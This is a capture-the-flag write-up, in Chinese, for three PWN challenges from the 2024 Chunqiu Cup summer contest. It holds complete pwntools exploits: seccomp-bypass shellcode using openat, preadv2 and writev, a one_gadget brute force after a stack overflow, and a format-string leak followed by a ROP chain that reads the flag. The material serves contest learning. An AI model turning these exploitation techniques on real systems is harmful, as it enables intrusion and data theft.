2024春秋杯網路安全聯賽夏季賽-PWN-Writeup
只打了第一天,費了好大勁,終於三道都出了。
Shuffled_Execution
保護全開,ida檢視虛擬碼:
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
char *s; // [rsp+28h] [rbp-18h]
unsigned __int64 len; // [rsp+30h] [rbp-10h]
init();
s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);
if ( s == (char *)-1LL )
{
perror("mmap failed");
exit(1);
}
syscall(0LL, 0LL, 0x1337000LL, 0x250LL);
len = strlen(s);
shuffle((__int64)s, len);
if ( len <= 0xAF )
{
sandbox();
entrance();
LODWORD(v3) = 0;
}
else
{
return (int)"Error triggered...";
}
return v3;
}
可以看道mmap申請0x1337000處0x1000大小的記憶體空間,使用syscall系統呼叫來呼叫read函式向記憶體中進行寫入。
shuffle函式會打亂我們輸入的內容。
判斷長度小於等於0xAF之後會然後開啟沙箱,然後entrance()函式會讓程式跳轉到0x1337000處去執行。
shuffle函式的虛擬碼:
unsigned __int64 __fastcall shuffle(__int64 input, unsigned __int64 len)
{
char v3; // [rsp+1Bh] [rbp-15h]
int i; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v5; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
srand(4919u);
if ( len > 1 )
{
for ( i = 0; i < len >> 1; ++i )
{
v5 = rand() % len;
v3 = *(_BYTE *)(i + input);
*(_BYTE *)(i + input) = *(_BYTE *)(input + v5);
*(_BYTE *)(v5 + input) = v3;
}
}
return v6 - __readfsqword(0x28u);
}
程式實現的是隨機交換程式中的位元組,程式中的這種隨機其實是偽隨機,我們可以出每次隨機的數的。
在exp中我們可以模擬上述隨機數生成的過程,寫出預處理函式來先進行預處理,這個預處理所實現的功能就是讓程式進行shuffle()函式打亂之後的順序反而是我們預期想要的順序
def unshuffle(shuffled_bytes, seed=4919):
#random.seed(seed)
libc.srand(4919)
# Find the first occurrence of \x00
null_byte_index = shuffled_bytes.find(b'\x00')
# Use the index of \x00 if it exists, otherwise use the full length
len_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)
shuffled_list = list(shuffled_bytes[:len_input])
indices = list(range(len_input))
if len_input > 1:
swaps = []
for i in range(len_input >> 1):
v5 = libc.rand() % len_input
swaps.append((i, v5))
# Reverse the swaps
for i, v5 in reversed(swaps):
v3 = shuffled_list[v5]
shuffled_list[v5] = shuffled_list[i]
shuffled_list[i] = v3
return bytes(shuffled_list)+shuffled_bytes[len_input:]
再來看看沙箱規則:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015
0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015
0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015
0008: 0x15 0x06 0x00 0x00000011 if (A == pread64) goto 0015
0009: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0015
0010: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0015
0011: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0015
0012: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0015
0013: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
open被辦ban了,這裡用openat代替。
read被ban了,這裡用preadv2代替。
write被ban了,這裡用writev代替。
完整exp:
from pwn import *
from ctypes import *
shellcode = '''
mov rbp,0x1337100
mov rsp,rbp
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor rdx, rdx
push SYS_openat
pop rax
syscall
mov rdi, 3
push 0x30
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
mov rdx, 1
xor r10, r10
xor r8, r8
push SYS_preadv2
pop rax
syscall
push 1
pop rdi
push 0x1
pop rdx
push 0x30
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall
'''
def unshuffle(shuffled_bytes, seed=4919):
libc.srand(4919)
# Find the first occurrence of \x00
null_byte_index = shuffled_bytes.find(b'\x00')
# Use the index of \x00 if it exists, otherwise use the full length
len_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)
shuffled_list = list(shuffled_bytes[:len_input])
indices = list(range(len_input))
if len_input > 1:
swaps = []
for i in range(len_input >> 1):
v5 = libc.rand() % len_input
swaps.append((i, v5))
# Reverse the swaps
for i, v5 in reversed(swaps):
v3 = shuffled_list[v5]
shuffled_list[v5] = shuffled_list[i]
shuffled_list[i] = v3
return bytes(shuffled_list)+shuffled_bytes[len_input:]
p = process('./pwn')
elf = ELF('./pwn')
libc = cdll.LoadLibrary('libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
# 將 shellcode 轉換為機器碼
shellcode = asm(shellcode)
# 對 shellcode 進行預處理
preprocessed_payload = unshuffle(shellcode)
p.send(preprocessed_payload)
print(p.recv())
print(p.recv())
賽後看到imarch22師傅的部落格,看道師傅有一個思路是直接利用\x00進行截斷。實際操作就是在shellcode前面加個"mov eax,0",轉成位元組碼\xb8\x00\x00\x00\x00,這行程式在進行strlen的時候返回值是1,程式在進行洗牌的時候i < len >> 1直接不滿足條件,就不會進行打亂。省去了我寫unshuffle()函式的過程。
stdout
考setvbut
setvbuf
函式原型
int setvbuf(FILE *stream, char *buffer, int mode, size_t size);
引數說明
stream
: 檔案流指標,例如stdin
、stdout
、stderr
。buffer
: 指向緩衝區的指標。如果為NULL
或0LL
,則使用系統提供的緩衝區。mode
:緩衝模式,可以是以下之一:_IOFBF
: 全緩衝。全緩衝模式下,資料會被儲存在一個緩衝區中,直到緩衝區滿或者顯式地重新整理(如呼叫fflush
函式),然後一次性寫入或讀取。_IOLBF
: 行緩衝。行緩衝模式下,資料在遇到換行符(\n
)時或者緩衝區滿時進行重新整理(寫入或讀取)。_IONBF
: 無緩衝。無緩衝模式下,資料不經過緩衝區,而是直接寫入或讀取。這意味著每個 I/O 操作都會立即進行系統呼叫,資料會實時反映在目標裝置上。
size
: 緩衝區大小。如果buffer
為NULL
或0LL
,此引數被忽略。
本題有很明顯的棧溢位,但是stdout設定的全緩衝,正常思路是用csu呼叫setvbut來設定為無緩衝來進行洩露libc打ret2libc,我沒有這麼做,我直接打程式返回地址為onegadgets來拿到shell讀取flag的。1/4096的機率,爆破了大概十分鐘出了。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
payload1 = b'a'*0x50+b'bbbbbbbb'+p64(0x0040125D)
main = 0x00401370
pop_r12_r13_r14_r15 = 0x04013cc
payload2 = b'a'*0x20+b'bbbbbbbb'+p64(pop_r12_r13_r14_r15)
payload2+= p64(0)*4+p64(main)
payload3 = b'a'*0x50+b'bbbbbbbb'+b'\xfe\x8a\x69'
for i in range(4096):
try:
p = process('./pwn')
p.send(payload1)
sleep(0.2)
p.send(payload2)
sleep(0.2)
p.send(payload3)
sleep(0.2)
p.sendline(b'ls')
p.sendline(b'cat flag')
aaa = p.recv()
if b'flag' in aaa:
print(aaa)
break
except:
p.close()
continue
p.interactive()
SavethePrincess
透過迴圈爆破love的內容,來拿到格式化字串漏洞的利用許可權。
拿到格式化字串漏洞之後洩露canary、pie、libc、stack。
之後就是利用openat、pread64、puts來實現orw輸出flag。
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
zifu = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
def duan():
sleep(0.5)
gdb.attach(p)
pause()
def baopo():
love = ''
for j in range(8):
for i in zifu:
sleep(0.01)
love_len = len(love)
temp2 = '\\x0'+str(love_len+1)
p.recvuntil(b'> \n')
p.sendline(b'1')
temp = love+i
p.recvuntil(b'password: \n')
p.send(temp.ljust(10,'a'))
sleep(0.02)
recv = p.recvline()
if b'successfully' in recv:
love+= i
break
print(temp2)
if temp2 in str(recv):
love+= i
break
return love
def fmt(password,payload):
#p.recvuntil(b'> \n')
p.sendline(b'1')
p.recvuntil(b'password: \n')
p.send(password)
p.recvuntil(b'successfully, Embrace the power!!!\n')
p.send(payload)
password = baopo()
p.send('aaaa')
fmt(password,b'%13$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print('canry-->'+hex(canary))
fmt(password,b'%23$p')
p.recvuntil(b'0x')
pie = int(p.recv(12),16)-0x01745
print('pie-->'+hex(pie))
fmt(password,b'%35$p')
p.recvuntil(b'0x')
libc_base = int(p.recv(12),16)-128-libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))
fmt(password,b'%36$p')
p.recvuntil(b'0x')
stack = int(p.recv(12),16)-320
print('stack-->'+hex(stack))
pop_rdi_ret = libc_base+0x002a3e5
pop_rsi_ret = libc_base+0x002be51
buffer_addr = pie+0x04050
pop_rdx_r12_ret = libc_base+0x00011f2e7
pop_rax_ret = libc_base+0x045eb0
pop_rcx_ret = libc_base+0x03d1ee
syscall_ret = libc_base+0x029db4
preadv2 = libc_base+libc.symbols['preadv2']
pread64 = libc_base+libc.symbols['pread64']
buf = pie+0x04050
write = libc_base+libc.symbols['write']
puts = libc_base+libc.symbols['puts']
shuju = pie+0x00020DB
main = pie+0x0000176A
pop_rdx = pie+0x00017d6
pop_r10_ret = pie+0x0017D5
openat_addr = libc_base+libc.symbols['openat']
strncpy = libc_base+libc.symbols['strncpy']
flag_addr = libc_base+0x00001d618
write = libc_base+libc.symbols['write']
read = libc_base+libc.symbols['read']
rop_chain = p64(pop_rdi_ret)
rop_chain += p64(0xffffffffffffff9c) # AT_FDCWD
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0)
rop_chain += p64(pop_rdx)
rop_chain += p64(0)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(openat_addr)
rop_chain += p64(pop_rdi_ret)
rop_chain += p64(3)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(pop_rdx)
rop_chain += p64(0x30)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(pread64)
rop_chain += p64(pop_rdi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(puts)
rop_chain = rop_chain.ljust(0x1a0,b'\x00')
rop_chain += b'./flag\x00\x00'
rop_chain += b'111111'
p.sendline(b'2')
p.recvuntil(b'dragon!!\n')
padding = b'a'*0x38+p64(canary)+b'bbbbbbbb'
payload = padding + rop_chain
p.send(payload)
p.recvuntil(b'succeed?\n')
print(p.recv())
print(p.recv())